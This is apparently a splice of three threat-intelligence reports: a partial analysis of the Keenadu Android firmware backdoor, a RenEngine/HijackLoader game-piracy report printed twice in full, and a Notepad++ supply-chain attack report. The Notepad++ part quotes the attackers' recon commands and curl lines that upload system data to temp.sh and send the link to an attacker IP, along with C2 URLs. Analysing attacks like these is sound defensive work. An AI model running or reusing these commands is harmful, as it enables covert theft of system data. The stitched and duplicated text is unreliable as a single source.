In addition to the face recognition service, we identified other system apps infected with the Keenadu loader. These included the launcher app on certain devices (MD5: 382764921919868d810a5cf0391ea193). A malicious service, com.pri.appcenter.service.RemoteService, was embedded into these apps to trigger the Trojan’s execution.
We also discovered the Keenadu loader within the app with package name com.tct.contentcenter (MD5: d07eb2db2621c425bda0f046b736e372). This app contains the advertising SDK fwtec, which retrieved its configuration via an HTTP GET request to hxxps://trends.search-hub[.]cn/vuGs8 with default redirection disabled. In response, the Trojan expected a 302 redirect code where the Location header provided an URL containing the SDK configuration within its parameters. One specific parameter, hsby_search_switch, controlled the activation of the Keenadu loader: if its value was set to 1, the loader would initialize within the app.
Retrieving the configuration from the C2
Loading via other backdoors
While analyzing our telemetry, we discovered an unusual version of the Keenadu loader (MD5: f53c6ee141df2083e0200a514ba19e32) located in the directories of various apps within external storage, specifically at paths following the pattern: /storage/emulated/0/Android/data/%PACKAGE%/files/.dx/. Based on the code analysis, this loader was designed to operate within a system where the system_server process had already been compromised. Notably, the binder interface names used in this version differed from those used by AKServer. The loader utilized the following interfaces:
com.androidextlib.sloth.api.IPServiceM
com.androidextlib.sloth.api.IPermissionsM
These same binder interfaces are defined by another backdoor that is structured similarly and was also discovered within libandroid_runtime.so. The execution of this other backdoor on infected devices proceeds as follows: libandroid_runtime.so imports a malicious function __android_log_check_loggable from the liblog.so library (MD5: 3d185f30b00270e7e30fc4e29a68237f). This function is called within the implementation of the println_native native method of the android.util.Log class. It decrypts a payload embedded in the library’s body using a single-byte XOR and executes it within the context of all apps on the device.
Payload decryption
The payload shares many similarities with BADBOX, a comprehensive malware platform first described by researchers at HUMAN Security. Specifically, the C2 server paths used for the Trojan’s HTTP requests are a match. This leads us to believe that this is a specific variant of BADBOX.
The path /terminal/client/register was previously documented in a HUMAN Security report
Within this backdoor, we also discovered the binder interfaces utilized by the aforementioned Keenadu loader. This suggests that those specific instances of Keenadu were deployed directly by BADBOX.
One of the binder interfaces used by Keenadu is defined in the payload
Modifications of popular apps
Unfortunately, even if your firmware does not contain Keenadu or another pre-installed backdoor, the Trojan still poses a threat to you. The Nova (Phantom) clicker was discovered by researchers at Dr. Web around the same time as we held our investigation. Their findings highlight a different distribution vector: modified versions of popular software distributed primarily through unofficial sources, as well as various apps found in the GetApps store.
Google Play
Infected apps have managed to infiltrate Google Play too. During our research, we identified trojanized software for smart cameras published on the official Android app store. Collectively, these apps had been downloaded more than 300,000 times.
Examples of infected apps in Google Play
Each of these apps contained an embedded service named com.arcsoft.closeli.service.KucopdInitService, which launched the aforementioned Nova clicker. We alerted Google to the presence of the infected apps in its store, and they removed the malware. Curiously, while the malicious service was present in all identified apps, it was configured to execute only in one specific package: com.taismart.global.
The malicious service was launched only under specific conditions
The Fantastic Four: how Triada, BADBOX, Vo1d, and Keenadu are connected
After discovering that BADBOX downloads one of the Keenadu modules, we decided to conduct further research to determine if there were any other signs of a connection between these Trojans. As a result, we found that BADBOX and Keenadu shared similarities in the payload code that was decrypted and executed by the malicious code in libandroid_runtime.so. We also identified similarities between the Keenadu loader and the BB2DOOR module of the BADBOX Trojan. Given that there are also distinct differences in the code, and considering that BADBOX was downloading the Keenadu loader, we believe these are separate botnets, and the developers of Keenadu likely found inspiration in the BADBOX source code. Furthermore, the authors of Keenadu appear to target Android tablets primarily.
In our recent report on the Triada backdoor, we mentioned that the C2 server for one of its downloaded modules was hosted on the same domain as one of the Vo1d botnet’s servers, which could suggest a link between those two Trojans. However, during the current investigation, we managed to uncover a connection between Triada and the BADBOX botnet as well. As it turns out, the directories where BADBOX downloaded the Keenadu loader also contained other payloads for various apps. Their description warrants a separate report; for the sake of brevity, we will not delve into the details here, limiting ourselves to the analysis of a payload for the Telegram and Instagram clients (MD5: 8900f5737e92a69712481d7a809fcfaa). The entry point for this payload is the com.extlib.apps.InsTGEnter class. The payload is designed to steal victims’ account credentials in the infected services. Interestingly, it also contains code for stealing credentials from the WhatsApp client, though it is currently not utilized.
BADBOX payload code used for stealing credentials from WhatsApp clients
The C2 server addresses used by the Trojan to exfiltrate device data are stored in the code in an encrypted format. They are first decoded using Base64 and then decrypted via a XOR operation with the string "xiwljfowkgs".
Decrypted payload C2 addresses
After decrypting the C2 addresses, we discovered the domain zcnewy[.]com, which we had previously identified in 2022 during our investigation of malicious WhatsApp mods containing Triada. At that time, we assumed that the code segment responsible for stealing WhatsApp credentials and the malicious dropper both belonged to Triada. However, since we have now established that zcnewy[.]com is linked to BADBOX, we believe that the infected WhatsApp modifications we described in 2022 actually contained two distinct Trojans: Triada and BADBOX. To verify this hypothesis, we re-examined one of those modifications (MD5: caa640824b0e216fab86402b14447953) and confirmed that it contained the code for both the Triada dropper and a BADBOX module functionally similar to the one described above. Although the Trojans were launched from the same entry point, they did not interact with each other and were structured in entirely different ways. Based on this, we conclude that what we observed in 2022 was a joint attack by the BADBOX and Triada operators.
BADBOX and Triada launched from the same entry point
These findings show that several of the largest Android botnets are interacting with one another. Currently, we have confirmed links between Triada, Vo1d, and BADBOX, as well as the connection between Keenadu and BADBOX. Researchers at HUMAN Security have also previously reported a connection between Vo1d and BADBOX. It is important to emphasize that these connections are not necessarily transitive. For example, the fact that both Triada and Keenadu are linked to BADBOX does not automatically imply that Triada and Keenadu are directly connected; such a claim would require separate evidence. However, given the current landscape, we would not be surprised if future reports provide the evidence needed to prove the transitivity of these relationships.
Victims
According to our telemetry, 13,715 users worldwide have encountered Keenadu or its modules. Our security solutions recorded the highest number of users attacked by the malware in Russia, Japan, Germany, Brazil and the Netherlands.
Recommendations
Our technical support team is often asked what steps should be taken if a security solution detects Keenadu on a device. In this section, we examine all possible scenarios for combating this Trojan.
If the libandroid_runtime.so library is infected
Modern versions of Android mount the system partition, which contains libandroid_runtime.so, as read-only. Even if one were to theoretically assume the possibility of editing this partition, the infected libandroid_runtime.so library cannot be removed without damaging the firmware: the device would simply cease to boot. Therefore, it is impossible to eliminate the threat using standard Android OS tools. Operating a device infected with the Keenadu backdoor can involve significant inconveniences. Reviews of infected devices complain about intrusive ads and various mysterious sounds whose source cannot be identified.
Review of an infected tablet complaining about noise
If you encounter the Keenadu backdoor, we recommend the following:
Check for software updates. It is possible that a clean firmware version has already been released for your device. After updating, use a reliable security solution to verify that the issue has been resolved.
If a clean firmware update from the manufacturer does not exist for your device, you can attempt to install a clean firmware yourself. However, it is important to remember that manually flashing a device can brick it.
Until the firmware is replaced or updated, we recommend that you stop using the infected device.
If one of the system apps is infected
Unfortunately, as in the previous case, it is not possible to remove such an app from the device because it is located in the system partition. If you encounter the Keenadu loader in a system app, our recommendations are:
Find a replacement for the app, if applicable. For example, if the launcher app is infected, you can download any alternative that does not contain malware. If no alternatives exist for the app – for example, if the face recognition service is infected – we recommend avoiding the use of that specific functionality whenever possible.
Disable the infected app using ADB if an alternative has been found or you don’t really need it. This can be done with the command adb shell pm disable --user 0 %PACKAGE%.
If an infected app has been installed on the device
This is one of the simplest cases of infection. If a security solution has detected an app infected with Keenadu on your device, simply uninstall it following the instructions the solution provides.
Conclusion
Developers of pre-installed backdoors in Android device firmware have always stood out for their high level of expertise. This is still true for Keenadu: the creators of the malware have a deep understanding of the Android architecture, the app startup process, and the core security principles of the operating system. During the investigation, we were surprised by the scope of the Keenadu campaigns: beyond the primary backdoor in firmware, its modules were found in system apps and even in apps from Google Play. This places the Trojan on the same scale as threats like Triada or BADBOX. The emergence of a new pre-installed backdoor of this magnitude indicates that this category of malware is a distinct market with significant competition.
Keenadu is a large-scale, complex malware platform that provides attackers with unrestricted control over the victim’s device. Although we have currently shown that the backdoor is used primarily for various types of ad fraud, we do not rule out that in the future, the malware may follow in Triada’s footsteps and begin stealing credentials.
We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.
In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.
However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).
In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.
Incident analysis
Disguise as a visual novel
Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.
The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”
Game download page
When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.
Placeholder with the download screen
“Game” source files analysis
The full infection chain
After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.
Contents of the .temp directory
There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.
HijackLoader
The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.
The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.
Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.
Loading configuration parameters saved by the main module
In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.
Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.
Payload decryption
The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:
First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
Writing the payload to a temporary file
After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
Payload injection into the child process
Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
The rshell module injection
The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.
The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).
In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.
Not only games
In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.
Distribution of RenEngine under the guise of the CorelDRAW pirated version
When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.
File storage imitations
Distribution
According to our data, since March 2025, RenEngine has affected users in the following countries:
Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)
The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.
Recommendations for protection
The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.
The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.
We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.
In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.
However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).
In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.
Incident analysis
Disguise as a visual novel
Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.
The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”
Game download page
When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.
Placeholder with the download screen
“Game” source files analysis
The full infection chain
After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.
Contents of the .temp directory
There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.
HijackLoader
The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.
The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.
Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.
Loading configuration parameters saved by the main module
In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.
Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.
Payload decryption
The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:
First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
Writing the payload to a temporary file
After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
Payload injection into the child process
Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
The rshell module injection
The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.
The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).
In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.
Not only games
In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.
Distribution of RenEngine under the guise of the CorelDRAW pirated version
When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.
File storage imitations
Distribution
According to our data, since March 2025, RenEngine has affected users in the following countries:
Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)
The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.
Recommendations for protection
The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.
The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.
UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.
Introduction
On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.
Multiple execution chains and payloads
Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.
We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:
Individuals located in Vietnam, El Salvador, and Australia;
A government organization located in the Philippines;
A financial organization located in El Salvador;
An IT service provider organization located in Vietnam.
Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.
In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.
Chain #1: late July and early August 2025
We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.
The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:
The file creates a directory named %appdata%\ProShow and sets it as the current directory;
It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.
Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.
After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:
Drops the following files to the %appdata%\ProShow directory:
The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.
Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.
The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.
The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:
In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.
We have not further seen any infections leveraging chain #1 since early August 2025.
Chain #2: mid- and late September 2025
A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:
Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
Dropped a next-stage payload on disk and launched it.
Regarding system information, attackers made the following changes to how it was collected:
They changed the working directory to %APPDATA%\Adobe\Scripts;
They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.
The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.
As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:
Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.
All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:
As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.
The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.
The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.
Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:
cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt
Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.
The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:
Changed the system information upload URL to https://self-dns.it[.]com/list;
Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.
Chain #3: October 2025
In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:
BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).
This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.
Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:
In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
The Beacon configurations are encrypted with the XOR key CRAZY;
Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).
Return of chain #2 and changes in URLs: October 2025
In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.
Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:
http://95.179.213[.]0/update/install.exe;
http://95.179.213[.]0/update/update.exe;
http://95.179.213[.]0/update/AutoUpdater.exe.
We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.
Conclusion
Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:
The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:
Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
Use the specific IoCs listed below to identify known malicious domains and files.
Let’s take a closer look at Kaspersky Next EDR Expert.
One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.
